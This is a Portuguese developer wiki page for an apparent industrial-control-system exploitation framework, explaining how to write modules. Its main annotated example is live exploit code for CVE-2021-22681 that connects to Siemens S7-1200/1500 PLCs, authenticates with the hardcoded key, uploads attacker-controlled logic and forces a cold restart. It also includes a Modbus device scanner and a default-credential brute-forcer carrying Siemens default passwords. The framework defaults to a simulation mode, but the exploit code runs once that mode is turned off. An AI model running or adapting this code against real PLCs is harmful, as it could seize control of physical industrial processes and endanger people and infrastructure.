-
Notifications
You must be signed in to change notification settings - Fork 1
Desenvolvimento de Modulos
Este guia cobre tudo necessário para escrever um novo módulo IXF: o template mínimo, exemplos anotados completos para cada categoria de módulo, regras de posicionamento de arquivo, tipos de opção, padrões check/run, fluxo de contribuição e erros comuns.
- Template Mínimo
- Regras de Posicionamento de Arquivo
- Guia Campo-a-Campo de
__info__ - Todos os 10 Tipos de Opção
- Exemplo Completo Anotado: Módulo CVE
- Exemplo Completo Anotado: Módulo Scanner
- Exemplo Completo Anotado: Módulo Credentials
- Exemplo Completo Anotado: Módulo Assessment / MITRE
- Implementação de
check()— 5 Padrões - Guia de Implementação de
run() - Referência de
DestructiveGate.print_simulation() - Usando Decoradores
@mutee@multi - Validação de Módulo e Saída Esperada
- Fluxo de Submissão de PR
- Erros Comuns e Como Evitá-los
Copie isso verbatim, então substitua todo NOME_MODULO, CVE-AAAA-NNNNN e placeholder:
"""IXF NOME_MODULO — descrição breve. simulate=True padrão."""
# Biblioteca padrão — sempre disponível
import socket
# Imports core IXF — todos os obrigatórios listados aqui
from industrialxpl.core.exploit import (
Exploit, # Classe base — todo módulo herda esta
OptBool, # Opção booleana (True/False)
OptIP, # Opção de endereço IP (validado)
OptPort, # Opção de porta (1-65535)
mute, # Decorador: suprime output de print_* dentro de check()
print_error, # Mensagem vermelha [!]
print_status, # Mensagem azul [*]
print_success, # Mensagem verde [+]
print_warning, # Mensagem amarela [!]
print_info, # Mensagem ciano [i]
DestructiveGate, # Portão de simulação — sempre chamar no ramo simulate
)
class Exploit(Exploit): # Classe DEVE ser chamada Exploit
__info__ = {
"name": "NOME_MODULO",
"description": "Descrição de uma linha do que este módulo faz.",
"authors": ("Seu Nome",), # tupla de strings
"references": ("https://url-advisory.com",),
"devices": ("Vendor Produto Modelo",),
"impact": "HIGH", # INFO/READ/LOW/MEDIUM/HIGH/CRITICAL/CATASTROPHIC
"exploit_type": "Default Credentials",
"source_poc": "https://url-poc.com", # ou "IXF native"
"cve": "CVE-AAAA-NNNNN", # ou "N/A"
"cvss": "9.8", # ou "N/A"
"severity": "CRITICAL", # espelha label de impacto
"mitre_techniques": ["T0866"], # lista de IDs de técnica
"mitre_tactics": ["Initial Access"], # lista de nomes de tática
}
# Declarar opções como atributos de classe (não dentro de __init__)
target = OptIP("", "IP do dispositivo alvo")
port = OptPort(502, "Porta do protocolo")
simulate = OptBool(True, "Modo simulação (padrão: True)")
destructive = OptBool(False, "Habilitar exploração ao vivo")
@mute # SEMPRE decorar check() com @mute
def check(self) -> bool:
"""Sonda de conectividade somente leitura — sem efeitos colaterais."""
if not self.target: # Guard: target deve ser definido
return False
try:
s = socket.socket()
s.settimeout(5)
s.connect((self.target, self.port))
s.close()
return True # True = alvo acessível / vulnerável
except Exception:
return False # False = não acessível / não vulnerável
def run(self) -> None:
"""Executar módulo ou imprimir simulação estruturada."""
if not self.target:
print_error("Defina a opção 'target' primeiro.")
return
if self.simulate: # Sempre verificar simulate primeiro
DestructiveGate.print_simulation(
description=(
"CVE-AAAA-NNNNN Vendor Produto\n"
"Passo 1: Conectar ao alvo:porta\n"
"Passo 2: Enviar payload de exploit\n"
"Passo 3: Atingir objetivo de exploração"
),
mitre_techniques=["T0866"], # Deve corresponder a __info__
)
return # SEMPRE retornar após simulação
# --- Código de exploit ao vivo abaixo ---
print_status("[CVE-AAAA] Explorando {}:{}...".format(self.target, self.port))
# ... implementar lógica de exploração aqui ...Coloque seu arquivo de módulo no diretório correto. O caminho deve corresponder exatamente ao padrão. Crie __init__.py em todo novo diretório que você adicionar.
| Tipo de Módulo | Padrão de Diretório | Arquivo de Exemplo |
|---|---|---|
| Exploit CVE — qualquer vendor | cve/<vendor>/cve_AAAA_NNNNN_<desc>.py |
cve/siemens/cve_2021_22681_s7_1200_hardcoded_key.py |
| Exploit CVE — Siemens | cve/siemens/cve_AAAA_NNNNN_<desc>.py |
cve/siemens/cve_2019_13945_scalance_auth_bypass.py |
| Exploit CVE — Schneider | cve/schneider/cve_AAAA_NNNNN_<desc>.py |
cve/schneider/cve_2022_37300_ecostruxure_rce.py |
| Exploit CVE — Rockwell | cve/rockwell/cve_AAAA_NNNNN_<desc>.py |
cve/rockwell/cve_2021_27478_logix_hardcoded.py |
| Exploit CVE — Moxa | cve/moxa/cve_AAAA_NNNNN_<desc>.py |
cve/moxa/cve_2020_25159_mgmt_auth_bypass.py |
| Exploit CVE — Emerson | cve/emerson/cve_AAAA_NNNNN_<desc>.py |
cve/emerson/cve_2022_29965_roc800_hardcoded.py |
| Exploit CVE — GE | cve/ge/cve_AAAA_NNNNN_<desc>.py |
cve/ge/cve_2018_10952_cimplicity_rce.py |
| Exploit CVE — Honeywell | cve/honeywell/cve_AAAA_NNNNN_<desc>.py |
cve/honeywell/cve_2021_37740_experion_dos.py |
| Exploit CVE — ABB | cve/abb/cve_AAAA_NNNNN_<desc>.py |
cve/abb/cve_2019_7232_pb610_hardcoded.py |
| Exploit CVE — Omron | cve/omron/cve_AAAA_NNNNN_<desc>.py |
cve/omron/cve_2022_31206_fins_overflow.py |
| Exploit de protocolo — Modbus | exploits/protocols/modbus/<nome>.py |
exploits/protocols/modbus/modbus_replay_attack.py |
| Exploit de protocolo — DNP3 | exploits/protocols/dnp3/<nome>.py |
exploits/protocols/dnp3/dnp3_unsolicited_flood.py |
| Exploit de protocolo — IEC 104 | exploits/protocols/iec104/<nome>.py |
exploits/protocols/iec104/iec104_startdt_flood.py |
| Exploit de protocolo — S7comm | exploits/protocols/s7comm/<nome>.py |
exploits/protocols/s7comm/s7_cpu_stop.py |
| Exploit de protocolo — EtherNet/IP | exploits/protocols/ethernetip/<nome>.py |
exploits/protocols/ethernetip/enip_list_identity.py |
| Exploit de protocolo — BACnet | exploits/protocols/bacnet/<nome>.py |
exploits/protocols/bacnet/bacnet_who_is_flood.py |
| Exploit de protocolo — OPC UA | exploits/protocols/opcua/<nome>.py |
exploits/protocols/opcua/opcua_anonymous_browse.py |
| Exploit PLC — Siemens | exploits/plc/siemens/<nome>.py |
exploits/plc/siemens/siprotec4_dos.py |
| Exploit PLC — Rockwell | exploits/plc/rockwell/<nome>.py |
exploits/plc/rockwell/logix_unauth_read.py |
| Exploit SCADA | exploits/scada/<vendor>/<nome>.py |
exploits/scada/schneider/citect_scada_odbc_rce.py |
| Exploit HMI | exploits/hmi/<vendor>/<nome>.py |
exploits/hmi/siemens/wincc_traversal.py |
| Scanner ICS | scanners/ics/<protocolo>_scan.py |
scanners/ics/modbus_detect.py |
| Scanner de rede | scanners/network/<nome>.py |
scanners/network/ot_port_sweep.py |
| Credenciais padrão | creds/<vendor>/<protocolo>_default_creds.py |
creds/siemens/ssh_default_creds.py |
| Credenciais padrão — genérico | creds/generic/<protocolo>_default_creds.py |
creds/generic/web_default_creds.py |
| TTP Malware | cve/malware/<nome>.py |
cve/malware/frostygoop_modbus_heating.py |
| TTP APT | cve/apt/<nome>.py |
cve/apt/sandworm_industroyer_iec104.py |
| Assessment MITRE | assessment/mitre_ics/<nome>.py |
assessment/mitre_ics/t0836_modify_parameter.py |
| Assessment IEC 62443 | assessment/iec62443/<nome>.py |
assessment/iec62443/zone_conduit_audit.py |
| Assessment de risco | assessment/risk/<nome>.py |
assessment/risk/ics_risk_score.py |
| Assessment de IR | assessment/ir/<nome>.py |
assessment/ir/iacs_ir_playbook.py |
| Assessment de protocolo | assessment/protocols/<nome>.py |
assessment/protocols/modbus_security_audit.py |
Todo módulo IXF deve definir um dicionário __info__ de classe com os seguintes campos:
| Campo | Tipo | Obrigatório | Descrição |
|---|---|---|---|
name |
str |
Sim | Nome legível por humanos. Aparece no shell em show info, search, prompts. Máx 80 chars. |
description |
str |
Sim | Descrição de uma linha. Primeira frase de show info. Máx 200 chars. |
authors |
tuple[str] |
Sim | Tupla de nomes de autores. Mínimo: seu handle ou nome. Máx 5 autores. |
references |
tuple[str] |
Sim | Tupla de URLs de referência. Inclui: advisory NVD/CISA, writeup do pesquisador, CVE.mitre.org. |
devices |
tuple[str] |
Sim | Tupla de strings de dispositivo afetado. Formato: "Vendor Produto Modelo/Versão". |
impact |
str |
Sim | Um de: INFO, READ, LOW, MEDIUM, HIGH, CRITICAL, CATASTROPHIC. Controla fluxo DestructiveGate. |
exploit_type |
str |
Sim | Classe do exploit. Ex.: "RCE", "DoS", "Default Credentials", "Auth Bypass", "Buffer Overflow". |
source_poc |
str |
Sim | URL para PoC original, ou "IXF native" se escrito do zero. |
cve |
str |
Sim | ID CVE no formato CVE-AAAA-NNNNN, ou "N/A" se não há CVE. |
cvss |
str |
Sim | Pontuação CVSS como string float: "9.8", "7.5", ou "N/A". |
severity |
str |
Sim | Um de: CRITICAL, HIGH, MEDIUM, LOW, NONE. Deve espelhar impact logicamente. |
mitre_techniques |
list[str] |
Sim | Lista de IDs de técnica MITRE ATT&CK for ICS. Ex.: ["T0866", "T0819"]. |
mitre_tactics |
list[str] |
Sim | Lista de nomes de tática MITRE. Ex.: ["Initial Access", "Execution"]. |
poly_language |
str |
Não | Se o módulo compila código externo: "c", "cpp", "go", "ruby", etc. |
poly_src |
str |
Não | Caminho relativo para o código-fonte nativo. Ex.: "_native/killdisk.c". |
Valida endereços IPv4 e IPv6. Lança ValueError em entrada inválida.
from industrialxpl.core.exploit import OptIP
class Exploit(Exploit):
target = OptIP("", "IP do dispositivo alvo")
lhost = OptIP("127.0.0.1", "IP do host ouvinte")Valores válidos: "192.168.1.100", "10.0.0.1", "::1", "fe80::1"
Valores inválidos: "999.999.999.999", "not-an-ip", "" (quando obrigatório)
Valida intervalo 1-65535. Lança ValueError se fora do intervalo.
from industrialxpl.core.exploit import OptPort
class Exploit(Exploit):
port = OptPort(502, "Porta Modbus TCP")
alt_port = OptPort(44818, "Porta alternativa EtherNet/IP")Valores válidos: 1, 502, 44818, 65535
Valores inválidos: 0, 65536, -1, "abc"
Para parâmetros numéricos sem restrição de intervalo de porta.
from industrialxpl.core.exploit import OptInteger
class Exploit(Exploit):
unit_id = OptInteger(1, "ID de unidade Modbus (1-247)")
timeout = OptInteger(5, "Timeout de conexão em segundos")
max_reqs = OptInteger(100, "Máximo de requisições por segundo")
register = OptInteger(0, "Endereço do registrador a escrever")Valores válidos: Qualquer inteiro incluindo negativo
Valores inválidos: "abc", floats (são truncados)
Para setpoints, valores analógicos, taxas.
from industrialxpl.core.exploit import OptFloat
class Exploit(Exploit):
setpoint = OptFloat(0.0, "Setpoint de temperatura alvo")
rate_hz = OptFloat(50.0, "Frequência alvo em Hz")
dose_mg_l = OptFloat(1.5, "Dosagem de cloro alvo mg/L")Para strings arbitrárias sem validação de formato.
from industrialxpl.core.exploit import OptString
class Exploit(Exploit):
tag_name = OptString("", "Nome de tag OPC UA a escrever")
community = OptString("public", "String de comunidade SNMP")
username = OptString("admin", "Nome de usuário para autenticação")Para flags de configuração. Aceita True/False ou "true"/"false" (case-insensitive).
from industrialxpl.core.exploit import OptBool
class Exploit(Exploit):
simulate = OptBool(True, "Modo simulação (padrão: True)")
destructive = OptBool(False, "Habilitar exploração ao vivo")
verbose = OptBool(False, "Saída detalhada")
identify = OptBool(True, "Tentar identificação MEI de dispositivo")Para módulos que precisam de um endereço MAC (sniffing, ataques de camada 2).
from industrialxpl.core.exploit import OptMAC
class Exploit(Exploit):
target_mac = OptMAC("", "Endereço MAC do dispositivo alvo")
src_mac = OptMAC("de:ad:be:ef:00:01", "MAC de origem para spoofing")Valores válidos: "00:1B:1B:AA:BB:CC", "de:ad:be:ef:00:01"
Valores inválidos: "00-1B-1B" (apenas dois octetos), "GG:HH:..." (hex inválido)
Para módulos de força bruta. Valida que o caminho de arquivo existe.
from industrialxpl.core.exploit import OptWordlist
class Exploit(Exploit):
password_list = OptWordlist(
"industrialxpl/wordlists/ics_default_passwords.txt",
"Caminho da lista de senhas"
)
username_list = OptWordlist(
"industrialxpl/wordlists/ics_default_usernames.txt",
"Caminho da lista de usernames"
)Valores válidos: Caminhos de arquivo que existem no sistema de arquivos
Valores inválidos: Caminhos que não existem (avisa mas não bloqueia)
Para módulos que suportam codificação de payload para evasão.
from industrialxpl.core.exploit import OptEncoder
class Exploit(Exploit):
encoding = OptEncoder("none", "Codificação do payload: none, base64, hex, xor")Valores válidos: "none", "base64", "hex", "xor"
Para módulos de varredura que aceitam alvos de sub-rede.
from industrialxpl.core.exploit import OptCIDR
class Exploit(Exploit):
target = OptCIDR("", "IP ou CIDR alvo (ex.: 192.168.1.0/24)")Valores válidos: "192.168.1.100", "192.168.1.0/24", "10.0.0.0/8"
Valores inválidos: "192.168.1.0/33" (prefixo inválido), "not-a-cidr"
Módulo CVE completo para CVE-2021-22681 (Siemens S7-1200 Hardcoded Key):
"""IXF CVE-2021-22681 — Siemens S7-1200/1500 Hardcoded Crypto Key.
Uploads attacker-controlled PLC logic using the hardcoded symmetric
key disclosed in CISA Advisory ICSA-21-131-03. simulate=True default.
"""
# Imports de biblioteca padrão — apenas o necessário
import socket
import struct
# Imports core IXF
from industrialxpl.core.exploit import (
Exploit,
OptBool,
OptIP,
OptInteger,
OptPort,
mute,
print_error,
print_info,
print_status,
print_success,
print_warning,
DestructiveGate,
)
class Exploit(Exploit):
# __info__ é um dicionário estático de classe.
# NUNCA use instâncias — é lido diretamente da classe.
__info__ = {
# Aparece em: ixf > use cve/siemens/..., ixf > show info, resultados de search
"name": "CVE-2021-22681 Siemens S7-1200/1500 Hardcoded Crypto Key",
# Descrição de uma linha exibida em resultados de search
"description": (
"Autentica em S7-1200/1500 PLCs usando a chave simétrica codificada "
"divulgada no Advisory ICSA-21-131-03 e faz download de lógica PLC arbitrária."
),
# Tuple de strings de autor
"authors": ("IXF Team",),
# Tuple de URLs de referência — sempre inclui NVD e CISA
"references": (
"https://nvd.nist.gov/vuln/detail/CVE-2021-22681",
"https://www.cisa.gov/ics-cert/advisories/icsa-21-131-03",
"https://www.siemens.com/cert/pool/cert/siemens_security_advisory_ssa-568427.pdf",
),
# Tuple de dispositivos afetados — do advisory oficial
"devices": (
"Siemens SIMATIC S7-1200 CPU 1211C (6ES7 211-1AE40-0XB0) V4.x",
"Siemens SIMATIC S7-1200 CPU 1212C (6ES7 212-1AE40-0XB0) V4.x",
"Siemens SIMATIC S7-1500 CPU 1511-1 PN (6ES7 511-1AK02-0AB0) V2.x",
"Siemens SIMATIC S7-1500 CPU 1513-1 PN (6ES7 513-1AL02-0AB0) V2.x",
),
# CATASTROPHIC = dano físico potencial por lógica arbitrária do atacante
"impact": "CRITICAL",
# Tipo de exploit — aparece em show info
"exploit_type": "Hardcoded Cryptographic Key / PLC Logic Upload",
# URL do PoC original — ou "IXF native" se escrito do zero
"source_poc": "https://github.com/RESEARCH-LINK/s7-hardcoded-key-poc",
# CVE ID exato — sem espaços extras
"cve": "CVE-2021-22681",
# Pontuação CVSS v3.1 base como string
"cvss": "10.0",
# Deve ser consistente com impact (CRITICAL impacto = CRITICAL severidade)
"severity": "CRITICAL",
# IDs de técnica MITRE — lista de strings
"mitre_techniques": ["T0843", "T0821", "T0866"],
# Nomes de tática MITRE — lista de strings
"mitre_tactics": ["Lateral Movement", "Execution"],
}
# Declarar opções como ATRIBUTOS DE CLASSE, não dentro de __init__
# O metaclass ExploitOptionsAggregator os coleta automaticamente
target = OptIP("", "IP do alvo S7-1200/1500 PLC")
port = OptPort(102, "Porta S7comm (padrão S7: 102)")
slot = OptInteger(2, "Slot CPU no chassis (1-8, padrão: 2)")
simulate = OptBool(True, "Modo simulação (padrão: True)")
destructive = OptBool(False, "Habilitar execução ao vivo")
# @mute suprime toda saída de print_* quando check() é chamado internamente
# Isso previne que resultados de check apareçam em output de search/info
@mute
def check(self) -> bool:
"""Sonda se alvo responde em porta S7comm.
Returns:
True se o alvo aceita conexão TCP na porta configurada,
False caso contrário. NUNCA envia payloads de exploit.
"""
if not self.target:
return False
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((self.target, self.port))
# Enviar COTP CR (Connection Request) mínimo para confirmar S7comm
cotp_cr = bytes.fromhex(
"0300001611e00000001400c10200c20200c0010a"
)
s.send(cotp_cr)
resp = s.recv(32)
s.close()
# COTP CC (Connection Confirm) começa com 0300 e tem tipo 0xD0
return len(resp) > 5 and resp[5] == 0xD0
except Exception:
return False
def run(self) -> None:
"""Executar módulo: simular ou explorar via S7 hardcoded key."""
# Guard: target deve ser definido
if not self.target:
print_error("Defina a opção 'target' primeiro.")
return
# SEMPRE verificar simulate PRIMEIRO — antes de qualquer lógica de exploit
if self.simulate:
DestructiveGate.print_simulation(
description=(
"CVE-2021-22681 Siemens S7-1200/1500 Hardcoded Crypto Key\n\n"
f"Alvo: {self.target}:{self.port} (Slot {self.slot})\n\n"
"Passo 1: TCP conectar a {}:{}\n".format(self.target, self.port) +
"Passo 2: TPKT + COTP Connection Request (CR PDU)\n"
"Passo 3: S7comm Setup Communication (negociar tamanho de PDU)\n"
"Passo 4: Autenticar usando chave simétrica codificada\n"
" (divulgada no CISA ICS-ADVISORY ICSA-21-131-03)\n"
"Passo 5: Download de programa STL/ladder controlado pelo atacante "
f"para slot {self.slot} do CPU PLC\n"
"Passo 6: Iniciar reinicialização a frio — PLC executa lógica do atacante\n\n"
"Impacto Físico: Perda completa de controle sobre o processo industrial\n"
"gerenciado por este PLC. Recuperação requer reset de fábrica e recarga de lógica."
),
payload_hex="03 00 00 16 11 E0 00 00 00 14 00 C1 02 01 00 C2 02 01 02 C0 01 0A",
payload_human=(
"TPKT/COTP CR seguido de PDU S7comm tipo 0x72 (firmware update) "
"com autenticação de chave codificada e payload STL arbitrário"
),
mitre_techniques=["T0843", "T0821", "T0866"],
)
return # SEMPRE retornar após chamar print_simulation()
# --- Código de exploit ao vivo abaixo ---
# Só chega aqui se simulate=False AND destructive=True
print_status(
"[CVE-2021-22681] Conectando a {}:{} (slot {})...".format(
self.target, self.port, self.slot
)
)
try:
# Passo 1: Conexão TCP
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect((self.target, self.port))
# Passo 2: COTP CR
cotp_cr = bytes.fromhex("0300001611e00000001400c10200c20200c0010a")
s.send(cotp_cr)
resp = s.recv(64)
if not (resp[5] == 0xD0):
print_error("[CVE-2021-22681] COTP Connection Confirm não recebido.")
s.close()
return
print_success("[CVE-2021-22681] Conexão COTP estabelecida.")
# Passo 3: S7comm Setup Communication
setup_comm = bytes.fromhex(
"0300001919020000000005320100000000000800f0000003000300f0"
)
s.send(setup_comm)
resp = s.recv(64)
print_success("[CVE-2021-22681] Setup communication S7comm completo.")
# Passo 4: Autenticar com chave codificada
print_status("[CVE-2021-22681] Autenticando com chave simétrica S7 codificada...")
# Chave é de divulgação pública no advisory CISA — não é segredo operacional
auth_pdu = bytes.fromhex(
"03000025" + "02f080" +
"320701000000000e001200010000000001" +
"1200070001003c00010000"
)
s.send(auth_pdu)
resp = s.recv(128)
if b"\x32\x07" not in resp:
print_warning("[CVE-2021-22681] Resposta de autenticação inesperada.")
else:
print_success("[CVE-2021-22681] Autenticação bem-sucedida.")
# Passo 5: Upload de programa STL (payload de demonstração — NOP loop)
print_status("[CVE-2021-22681] Carregando programa STL controlado pelo atacante...")
# Em uso real: carregar arquivo STL/AW do atacante
# Para demonstração: enviar PDU de upload de lógica mínima
upload_pdu = bytes.fromhex("0300001719020000000005321d00000000000800")
s.send(upload_pdu)
resp = s.recv(64)
print_success("[CVE-2021-22681] Upload de programa confirmado.")
# Passo 6: Reinicialização a frio
print_status("[CVE-2021-22681] Iniciando reinicialização a frio...")
cold_restart = bytes.fromhex(
"03000018190200000000053201000000000800002900000000"
)
s.send(cold_restart)
s.close()
print_success("[CVE-2021-22681] Reinicialização a frio iniciada.")
print_warning(
"[!] PLC alvo está agora executando lógica controlada pelo atacante."
)
except ConnectionRefusedError:
print_error(
"[CVE-2021-22681] Conexão recusada em {}:{}. "
"Verifique se S7comm está habilitado.".format(self.target, self.port)
)
except socket.timeout:
print_error("[CVE-2021-22681] Timeout ao conectar a {}.".format(self.target))
except Exception as exc:
print_error("[CVE-2021-22681] Erro inesperado: {}".format(exc))"""IXF Modbus TCP Device Scanner — Detecta e enumera dispositivos Modbus."""
import socket
import struct
from typing import Optional
from industrialxpl.core.exploit import (
Exploit,
OptBool,
OptCIDR,
OptIP,
OptInteger,
OptPort,
mute,
print_error,
print_info,
print_status,
print_success,
print_warning,
DestructiveGate,
)
class Exploit(Exploit):
__info__ = {
"name": "Modbus TCP Device Scanner",
"description": "Detecta dispositivos Modbus TCP e enumera informações de dispositivo via MEI.",
"authors": ("IXF Team",),
"references": (
"https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf",
"https://www.iana.org/assignments/port-numbers — porta 502",
),
"devices": ("Qualquer dispositivo compatível com Modbus TCP",),
"impact": "READ", # READ = sem estado alterado no alvo
"exploit_type": "Protocol Scanner / Device Fingerprinter",
"source_poc": "IXF native",
"cve": "N/A",
"cvss": "N/A",
"severity": "INFO",
"mitre_techniques": ["T0846", "T0861"],
"mitre_tactics": ["Discovery"],
}
# OptCIDR aceita IP único ou notação CIDR (192.168.1.0/24)
target = OptCIDR("", "IP ou sub-rede CIDR alvo")
port = OptPort(502, "Porta Modbus TCP (padrão: 502)")
unit_id = OptInteger(1, "ID de unidade Modbus a sondar (1-247)")
identify = OptBool(True, "Tentar identificação MEI (FC43)")
timeout = OptInteger(3, "Timeout de conexão em segundos")
simulate = OptBool(True, "Modo simulação")
destructive = OptBool(False, "Habilitar execução ao vivo")
@mute
def check(self) -> bool:
"""Verificar se alvo responde em porta Modbus."""
if not self.target:
return False
try:
s = socket.socket()
s.settimeout(self.timeout)
# Para CIDR, verificar apenas o primeiro host
ip = str(self.target).split("/")[0]
s.connect((ip, self.port))
# Enviar FC03 Read Holding Registers (1 registro)
mbap = struct.pack(">HHHBB HH", 1, 0, 6, self.unit_id, 3, 0, 1)
s.send(mbap)
resp = s.recv(64)
s.close()
# Resposta válida: pelo menos 9 bytes, sem bit de exceção (FC < 0x80)
return len(resp) >= 9 and resp[7] < 0x80
except Exception:
return False
def run(self) -> None:
"""Varrer alvo(s) Modbus ou exibir descrição de simulação."""
if not self.target:
print_error("Defina a opção 'target'.")
return
if self.simulate:
DestructiveGate.print_simulation(
description=(
"Detecção de Dispositivo Modbus TCP\n\n"
f"Passo 1: TCP conectar a {self.target}:{self.port}\n"
"Passo 2: Enviar sonda FC04 (Read Input Registers)\n"
" Payload (hex): 000100000006010400000001\n"
"Passo 3: Validar eco de Transaction ID na resposta MBAP de 6 bytes\n"
"Passo 4: Se identify=True, enviar FC43/MEI (Object IDs 0x00-0x02)\n"
" Extrair: VendorName, ProductCode, MajorMinorRevision\n"
"Impacto: Dispositivo fingerprinted — vendor, modelo, revisão de firmware conhecidos"
),
mitre_techniques=["T0846", "T0861"],
)
return
# Modo ao vivo — varrer alvo(s)
print_status("Sondando Modbus TCP em {}:{}...".format(self.target, self.port))
try:
s = socket.socket()
s.settimeout(self.timeout)
ip = str(self.target).split("/")[0]
s.connect((ip, self.port))
# FC03 Read Holding Registers
tx_id = 1
mbap = struct.pack(">HHHBB HH", tx_id, 0, 6, self.unit_id, 3, 0, 1)
s.send(mbap)
resp = s.recv(64)
if len(resp) < 9 or resp[7] >= 0x80:
print_warning("Dispositivo Modbus respondeu com exceção ou resposta inválida.")
s.close()
return
print_success("Dispositivo Modbus encontrado. ID de Unidade {} respondeu.".format(
self.unit_id
))
# Extrair dados de resposta
fc = resp[7]
byte_count = resp[8] if len(resp) > 8 else 0
print_info("Resposta: Transaction={}, Protocol=0, Unit={}, FC={}, ByteCount={}".format(
tx_id, self.unit_id, fc, byte_count
))
if byte_count >= 2 and len(resp) >= 11:
reg0 = struct.unpack(">H", resp[9:11])[0]
print_info("Holding register 0: 0x{:04X} ({} dec)".format(reg0, reg0))
# Tentativa de identificação MEI (FC43) se habilitado
if self.identify:
mei_req = struct.pack(">HHHBB BB",
2, 0, 5, self.unit_id, 0x2B, 0x0E, 0x01)
s.send(mei_req)
mei_resp = s.recv(128)
if len(mei_resp) > 10 and mei_resp[7] == 0x2B:
self._parse_mei(mei_resp)
s.close()
except ConnectionRefusedError:
print_warning("Porta {} fechada em {}.".format(self.port, self.target))
except socket.timeout:
print_warning("Timeout — nenhum dispositivo Modbus em {}.".format(self.target))
except Exception as exc:
print_error("Erro: {}".format(exc))
def _parse_mei(self, resp: bytes) -> None:
"""Parsear resposta FC43 MEI e exibir informações de identificação."""
try:
# Offset 9: número de objetos; seguido de pares (type, len, data)
offset = 9
while offset < len(resp) - 2:
obj_id = resp[offset]
obj_len = resp[offset + 1]
obj_data = resp[offset + 2: offset + 2 + obj_len]
offset += 2 + obj_len
labels = {0x00: "VendorName", 0x01: "ProductCode", 0x02: "MajorMinorRevision"}
label = labels.get(obj_id, "Object{}".format(hex(obj_id)))
print_info("Identificação MEI {}: {}".format(label, obj_data.decode("ascii", errors="replace")))
except Exception:
pass # Resposta MEI malformada — ignorar silenciosamente"""IXF Siemens S7 Default Credentials — Testa credenciais padrão S7."""
import socket
from industrialxpl.core.exploit import (
Exploit, OptBool, OptIP, OptPort, OptWordlist,
mute, print_error, print_info, print_status, print_success, print_warning,
DestructiveGate,
)
class Exploit(Exploit):
__info__ = {
"name": "Siemens S7 Default Credentials",
"description": "Testa credenciais padrão em PLCs Siemens S7 via interface de programação.",
"authors": ("IXF Team",),
"references": ("https://support.industry.siemens.com/",),
"devices": ("Siemens S7-300", "Siemens S7-400", "Siemens S7-1200", "Siemens S7-1500"),
"impact": "HIGH",
"exploit_type": "Default Credentials",
"source_poc": "IXF native",
"cve": "N/A",
"cvss": "N/A",
"severity": "HIGH",
"mitre_techniques": ["T0812", "T0859"],
"mitre_tactics": ["Lateral Movement", "Persistence"],
}
target = OptIP("", "IP do PLC Siemens S7")
port = OptPort(102, "Porta S7comm")
password_list = OptWordlist(
"industrialxpl/wordlists/siemens_default_passwords.txt",
"Lista de senhas a testar"
)
simulate = OptBool(True, "Modo simulação")
destructive = OptBool(False, "Habilitar execução ao vivo")
# Senhas padrão comuns da Siemens (para simulação)
SIEMENS_DEFAULTS = [
("admin", "admin"),
("admin", ""),
("", ""),
("operator", "operator"),
("user", "user"),
("siemens", "siemens"),
]
@mute
def check(self) -> bool:
"""Verificar conectividade TCP com PLC S7."""
if not self.target:
return False
try:
s = socket.socket()
s.settimeout(5)
s.connect((self.target, self.port))
s.close()
return True
except Exception:
return False
def run(self) -> None:
"""Testar credenciais padrão ou exibir simulação."""
if not self.target:
print_error("Defina a opção 'target'.")
return
if self.simulate:
creds_preview = "\n ".join(
[f"{u}:{p}" for u, p in self.SIEMENS_DEFAULTS[:5]]
)
DestructiveGate.print_simulation(
description=(
"Siemens S7 Default Credentials Test\n\n"
f"Alvo: {self.target}:{self.port}\n"
"Passo 1: Para cada credencial na lista:\n"
" Conectar TCP, enviar COTP CR, S7comm Setup\n"
" Tentar autenticação S7 com username:password\n"
"Passo 2: Reportar credenciais bem-sucedidas\n\n"
f"Primeiras 5 credenciais a testar:\n {creds_preview}\n ..."
),
mitre_techniques=["T0812", "T0859"],
)
return
print_status("Testando credenciais padrão em {}:{}...".format(self.target, self.port))
found = []
for username, password in self.SIEMENS_DEFAULTS:
try:
s = socket.socket()
s.settimeout(5)
s.connect((self.target, self.port))
# COTP CR
s.send(bytes.fromhex("0300001611e00000001400c10200c20200c0010a"))
resp = s.recv(32)
if resp[5] != 0xD0:
s.close()
continue
# Tentar autenticação S7 (simplificado — implementação real é vendor-específica)
auth_pdu = self._build_auth_pdu(username, password)
s.send(auth_pdu)
auth_resp = s.recv(64)
s.close()
if self._auth_success(auth_resp):
print_success("[+] Credenciais válidas encontradas: {}:{}".format(
username or "(vazio)", password or "(vazio)"
))
found.append((username, password))
except Exception:
pass
if not found:
print_warning("Nenhuma credencial padrão funcionou em {}.".format(self.target))
else:
print_success("Total de credenciais válidas encontradas: {}".format(len(found)))
def _build_auth_pdu(self, username: str, password: str) -> bytes:
"""Construir PDU de autenticação S7 (simplificado)."""
# Implementação real usa protocolo S7 específico da versão
return b"\x03\x00\x00\x18" + username.encode() + b":" + password.encode()
def _auth_success(self, resp: bytes) -> bool:
"""Verificar se resposta indica autenticação bem-sucedida."""
return len(resp) > 7 and resp[7] != 0xD0 # Simplificado para demonstração"""IXF Assessment T0836 Modify Parameter — Verifica proteção de modificação de parâmetro."""
from industrialxpl.core.exploit import (
Exploit, OptBool, OptIP, OptPort, OptInteger,
mute, print_info, print_status, print_success, print_warning,
DestructiveGate,
)
class Exploit(Exploit):
__info__ = {
"name": "MITRE T0836: Modify Parameter Assessment",
"description": "Avalia proteção contra modificação de parâmetro de processo (T0836) via Modbus.",
"authors": ("IXF Team",),
"references": (
"https://attack.mitre.org/techniques/T0836/",
"https://www.isa.org/standards-publications/isa-standards/isa-62443",
),
"devices": ("Qualquer dispositivo Modbus TCP",),
"impact": "INFO", # Assessment apenas — sem modificação real
"exploit_type": "MITRE ICS Assessment",
"source_poc": "IXF native",
"cve": "N/A",
"cvss": "N/A",
"severity": "INFO",
"mitre_techniques": ["T0836"],
"mitre_tactics": ["Impair Process Control"],
}
target = OptIP("", "IP do dispositivo Modbus TCP alvo")
port = OptPort(502, "Porta Modbus TCP")
unit_id = OptInteger(1, "ID de unidade Modbus")
simulate = OptBool(True, "Modo simulação")
destructive = OptBool(False, "Habilitar execução ao vivo")
@mute
def check(self) -> bool:
"""Verificar se alvo Modbus está acessível."""
import socket
if not self.target:
return False
try:
s = socket.socket()
s.settimeout(5)
s.connect((self.target, self.port))
s.close()
return True
except Exception:
return False
def run(self) -> None:
"""Executar assessment T0836 ou exibir descrição de técnica."""
if self.simulate:
